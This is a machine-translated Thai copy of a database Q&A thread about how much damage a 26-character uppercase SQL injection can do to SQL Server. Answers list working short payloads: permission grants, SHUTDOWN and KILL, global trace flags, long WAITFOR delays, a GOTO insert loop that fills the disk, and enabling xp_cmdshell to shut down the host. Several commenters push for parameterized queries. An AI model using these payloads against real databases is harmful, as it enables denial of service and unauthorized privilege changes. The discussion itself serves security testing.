การฉีด SQL Server - ความเสียหายเท่าไหร่ใน 26 ตัวอักษร?


21

ฉันกำลังทดสอบความยืดหยุ่นจากการโจมตีของการฉีดในฐานข้อมูล SQL Server

ชื่อตารางในฐานข้อมูลเป็นกรณีที่ต่ำกว่าและการเปรียบเทียบเป็นกรณีที่มีความไวLatin1_General_CS_AS

สตริงที่ฉันสามารถส่งถูกบังคับให้พิมพ์ใหญ่และสามารถมีความยาวสูงสุด 26 อักขระ ดังนั้นฉันไม่สามารถส่งเป็นตาราง DROP ได้เนื่องจากชื่อตารางจะเป็นตัวพิมพ์ใหญ่และดังนั้นคำสั่งจะล้มเหลวเนื่องจากการเปรียบเทียบ

ดังนั้น - ความเสียหายสูงสุดที่ฉันสามารถทำได้ใน 26 ตัวละครคืออะไร?

แก้ไข

ฉันรู้ทั้งหมดเกี่ยวกับข้อความค้นหาที่กำหนดพารามิเตอร์และอื่น ๆ - ลองจินตนาการว่าบุคคลที่พัฒนาส่วนหน้าที่สร้างคิวรีเพื่อส่งไม่ได้ใช้พารามิเตอร์ในกรณีนี้

ฉันยังไม่ได้พยายามทำอะไรชั่วร้ายนี่เป็นระบบที่สร้างโดยคนอื่นในองค์กรเดียวกัน


1
เราจินตนาการหรือคุณกำลังทดสอบด้วยปากกาจริง ๆ และมีข้อกำหนดที่ไม่อนุญาตให้คุณหลีกเลี่ยงการฉีด? คุณกำลังมองหาวิธีที่จะทำให้เขาขาดความปลอดภัยหรือไม่?
LowlyDBA

41
ทำไมถึงเป็นตัวเลือกที่จะเปิดประตูทิ้งไว้? ดูเหมือนว่าคุณได้ใช้เวลาในการไตร่ตรองสิ่งนี้มากกว่าที่จะทำให้ประตูปิดลง ฉันรู้สึกว่านี่เป็นการออกกำลังกายที่ไร้ผล - ถ้าคุณมีช่องโหว่ 10 ช่องพวกเขาจะพูดว่าเราจะเสียบช่องโหว่ทั้ง 10 ช่องโหว่เหล่านั้นและแน่นอนว่าจะไม่เป็นช่องที่ 11 ที่นี่คือที่ "ทำความสะอาด" สตริงได้เรา / facepalm
Aaron Bertrand

5
นี่เป็นคำถามที่คลุมเครือและไม่เจาะจงอย่างบ้าคลั่งและไม่สามารถพูดถึงในทางทฤษฎีได้ มีคุณสมบัติอื่น ๆ ที่ช่วยลดการทำงานของ SQL Injection (การอนุญาต, แซนด์บ็อกซ์, ไฟร์วอลล์ ฯลฯ ) และคุณจะต้องคำนึงถึงทุกสิ่งเหล่านั้นเพื่อที่จะตอบคำถามนี้
Evan Carroll

2
การจำกัดความยาวของอักขระ 26 ตัวคืออะไร แอปพลิเคชัน?
Jonathan Fite

7
หยุดนะ. แค่หยุดมัน ถ้าแบบสอบถามมีระยะไกลเป็นตัวเลือกที่ใช้พวกเขา หากบุคคลอื่นไม่รู้วิธีใช้งานให้ค้นหาแหล่งข้อมูลที่เหมาะสมและให้พวกเขาอ่าน หากพวกเขาไม่ฟังให้แจ้งผู้จัดการหรือหัวหน้างานว่าพวกเขากำลังสร้างช่องโหว่ด้านความปลอดภัยที่สำคัญ (การสาธิตที่ไม่ทำลายจะไม่ทำให้เกิดความเสียหาย) และปฏิเสธที่จะได้รับการศึกษา
jpmc26

คำตอบ:


38

ง่าย:

GRANT EXECUTE TO LowlyDBA

หรือฉันเดาว่าในกรณีนี้

grant execute to lowlydba 

เลือกรูปแบบที่คุณเลือก

ในทุกโอกาสคุณอาจทดสอบสิ่งนี้กับระบบปัจจุบันของคุณได้ แต่การเปลี่ยนแปลงเล็ก ๆ น้อย ๆ ในฐานข้อมูลเมื่อเวลาผ่านไปอาจทำให้การทดสอบของคุณไม่ถูกต้อง สตริงอักขระสามารถเปลี่ยนแปลงได้ใครบางคนสามารถสร้างกระบวนงานที่เก็บตัวพิมพ์เล็กซึ่งมีศักยภาพในการทำลายล้าง - อะไรก็ได้ คุณไม่สามารถพูดได้อย่างมั่นใจ 100% ว่าไม่มีการโจมตีตัวละคร 26 ตัวที่ใคร ๆ ก็สร้างได้

ฉันขอแนะนำให้คุณหาวิธีที่จะทำให้นักพัฒนาทำตามแนวทางปฏิบัติด้านความปลอดภัยที่ดีที่สุดตามมาตรฐานอุตสาหกรรมขั้นพื้นฐานหากเพื่อประโยชน์ของคุณเองในฐานะคนที่ฉันเชื่อว่ามีความรับผิดชอบอย่างน้อยบางส่วนหากการละเมิดความปลอดภัยเกิดขึ้น

แก้ไข:

และเพื่อความเป็นอันตราย / ความสนุกคุณสามารถลองเปิดใช้งานการตั้งค่าสถานะการติดตามทุกครั้ง สิ่งนี้น่าสนใจที่จะสังเกต รู้สึกเหมือนโพสต์บล็อก Brent Ozar จะทำให้ ...

DBCC TRACEON(xxxx, -1)

1
นอกจากนี้ยังช่วยให้สถานะการสืบค้นกลับ: เปลี่ยนการตั้งค่าแบบสุ่มต่างๆ: SET LOCK_TIMEOUT 0;, SET LANGUAGE Malaysian;, SET ANSI_NULLS OFF:...
ypercubeᵀᴹ

2
@ ypercubeᵀᴹพวกเขาจะมีผลกับเซสชันของคุณเท่านั้น
Martin Smith

2
@MartinSmith ขอบคุณ หากSETมีผลกับการตั้งค่าเซสชันเท่านั้นการเปลี่ยนแปลงการตั้งค่า satabase และเซิร์ฟเวอร์จะเป็นALTER DATABASE ...;อย่างไร( ?) DROP DATABASE ..;จะสร้างความเสียหายมากขึ้นถ้าทำสำเร็จ;)
ypercubeᵀᴹ

1
แก้ไขฐานข้อมูลและ sp_configure ส่วนใหญ่สำหรับการตั้งค่าระดับ DB และเซิร์ฟเวอร์ แม้ว่าคุณจะมีความยาวถึง 26 ตัวอักษรก็ตาม การตั้งค่าเฉพาะเหล่านี้ที่ระดับฐานข้อมูลจะใช้เฉพาะเมื่อการเชื่อมต่อไคลเอ็นต์ไม่ได้ตั้งค่าไว้ และโดยค่าเริ่มต้นส่วนใหญ่หรือทั้งหมดทำ
Martin Smith

7
ฉันดูเหมือนคำพูดนั้น
Brent Ozar

22

SHUTDOWNคำสั่งหรือKILLคำสั่ง (รับจำนวนสุ่มมากกว่า 50) ทั้งสองใช้เวลาอย่างมีนัยสำคัญน้อยกว่า 26 ตัว แต่บัญชีการดำเนินการคำสั่งของโปรแกรมประยุกต์หวังว่าไม่มีสิทธิ์เพียงพอในการทำงานเหล่านี้


โดยปกติบัญชีไม่จำเป็นต้องมีตารางดร็อปทั้ง ...
Greg

3
@ เกรปครับ แม้ว่าคุณจะสามารถคาดการณ์สภาพแวดล้อมที่กำลังพิจารณาอนุญาตให้ใช้การฉีด SQL ตราบใดที่ความยาวสั้นไม่ได้ปฏิบัติตามแนวทางปฏิบัติด้านความปลอดภัยที่ดีที่สุดและบัญชีอาจไม่ได้รับการกำหนดค่าด้วยสิทธิ์น้อยที่สุด
Martin Smith

14

คุณสามารถสร้างตารางที่คุณเติมจนหมดเวลาหรือพื้นที่ว่างในดิสก์หมดแล้วแต่ว่าจะถึงอย่างใดก่อน

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc

19
@ AlanB แล้วคุณจะต้องมีบางสิ่งที่ป้องกันไม่ให้ฉันใช้ประโยชน์จากจุดอ่อนมากกว่าหนึ่งครั้ง
Mikael Eriksson

1
tarnations ... while 1=1 insert t values('')คือ 30 ... create table x(i int)=> while 1=1 insert t select 0คือ 27
WernerCD

1
คุณสามารถใช้สิ่งนี้เพื่อสร้างคำสั่งที่ยาวกว่าขีด จำกัด อักขระแล้วดำเนินการสิ่งนั้น
Lawtonfogle

1
@ มาร์ตินฉันคิดว่าฉันจะจากไปแบบนี้ แต่ตอนนี้ฉันต้องลอง :) จะบอกให้คุณรู้ถ้าฉันคิดออก
Mikael Eriksson

7
@WernerCD x:insert t select 0 GOTO xเป็น 26 แน่นอนว่า
Martin Smith

4

คุณสามารถเรียกใช้สิ่งนี้ได้: WAITFOR DELAY '23: 59 'เพื่อความชั่วร้ายอย่างแท้จริงคุณสามารถใช้เครื่องมือทดสอบโหลดเพื่อเรียกใช้จากไคลเอนต์ 32,768



1
หากสตริงถูกแทรกลงในชุดแบตช์เฉพาะกิจที่มีการล็อคมันสามารถให้การปฏิเสธการบริการที่มีศักยภาพเป็นการโทรครั้งเดียวโดยไม่จำเป็นต้องทำให้เกิดความอดอยากของเธรด
David Spillett

3

รูปแบบขึ้นอยู่กับคำตอบของ @ MikaelEriksson และคำตอบของ @ MartinSmith ต่อความคิดเห็นเริ่มต้นของฉัน:

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

ตอนแรกฉันพยายามทำคำสั่ง WHILE แต่สิ่งที่ดีที่สุดที่ฉันทำได้คือ 27 ตัวอักษร:

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

แต่มาร์ตินชี้ GOTO:

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ... รากเหง้าแห่งความชั่วร้ายทั้งหมดและผู้สร้างคำแถลงแทรกแบบไม่มีที่สิ้นสุดใน 26 ตัวอักษร

ด้วยที่กล่าวว่า ... มันอาจเป็นประโยชน์ที่จะติดกับ CHAR (99) แทนที่จะเป็น int เพราะจะใช้พื้นที่มากขึ้น ตัวเลือกอื่นอาจใช้ชื่อที่ยาวกว่าและจะทำลายขีด จำกัด จำนวนอักขระ 26 ตัว ... หรือใช้พื้นที่เก็บข้อมูลน้อยลงต่อแถว

รหัสทดสอบเต็มรูปแบบ:

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO

1
set @S = 'x:insert t;select 0;GOTO x';เพื่อความเข้ากันได้ในอนาคตของการโจมตีด้วยการฉีดของคุณ;)
ypercubeᵀᴹ

@ ypercubeᵀᴹคุณเพิ่มสอง;s ... อันที่สองใช้ได้ - แทนที่ช่องว่างและใช้งานได้หากไม่ต้องการ อันแรกแบ่งแบบสอบถาม - แยกคำสั่ง INSERT จากคำสั่ง SELECT
WernerCD

อ่าใช่ นั่นคือสิ่งที่จะเกิดขึ้นเมื่อไม่มีใครใช้ตัวคั่น! เราไม่ทราบว่าการค้นหาแต่ละครั้งสิ้นสุดที่ใดและจะเริ่มเมื่อใด!
ypercubeᵀᴹ

1
@WarnerCD ฉันรู้ มันเป็นเรื่องตลกมากขึ้นเกี่ยวกับขั้นตอนการคิดค่าเสื่อมราคาใน SQL Server ดูเหมือนว่าจะใช้เวลาตลอดไป ยังเป็นแนวปฏิบัติที่ดีในการใช้เครื่องหมายอัฒภาคระหว่างคำสั่งและไม่เพียง แต่จำเป็นต้องใช้
ypercubeᵀᴹ

2
@ ปีที่ฉันสงสัยว่ามันจะถูกบังคับใช้ อาจเป็นไปได้ว่ามีรหัสดั้งเดิมจำนวนหนึ่งที่ต้องเพิ่มเซมิโคลอนที่ขาดหายไปโดยไม่มีมูลค่าทางธุรกิจโดยเฉพาะ และอาจจะฝังตัวในแอปพลิเคชั่นที่ยากหรือไม่สามารถอัปเดตได้
Martin Smith

0
XP_CMDSHELL 'SHUTDOWN -PF'

ขึ้นอยู่กับความเสียหายที่คุณพิจารณาว่าจะลดลง :-)

สิ่งนี้ต้องการ xp_cmdshell ที่จะเปิดใช้งานบนเซิร์ฟเวอร์สิ่งที่ไม่ใช่กรณีของ SQL Server รุ่นล่าสุด นอกจากนี้ยังกำหนดให้บัญชีบริการมีสิทธิ์ปิดซึ่งอาจมีหรือไม่มี

การเปิดใช้งาน xp_cmdshell อาจเกินความยาว 26 อักขระของคุณ คุณจะอนุญาตการฉีดหลายครั้งหรือไม่?

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE

1
EXEC เป็นทางเลือกเฉพาะถ้านี่เป็นคำสั่งแรกในแบทช์ ซึ่งอาจจะไม่เป็นกรณีที่นี่
Martin Smith

@ มาร์ตินสมิ ธ ความคิดเห็นที่ดี EXEC เพิ่ม 5 ตัวอักษรในแต่ละบรรทัดการเรียกใช้โปรซีเจอร์ ฉันสงสัยว่า CREATE ALIAS จะช่วยได้ไหม
Greenstone Walker
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.